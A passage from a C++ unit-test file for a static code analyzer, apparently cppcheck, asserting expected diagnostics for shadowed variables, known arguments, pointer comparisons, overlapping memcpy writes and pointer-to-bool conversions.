inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void 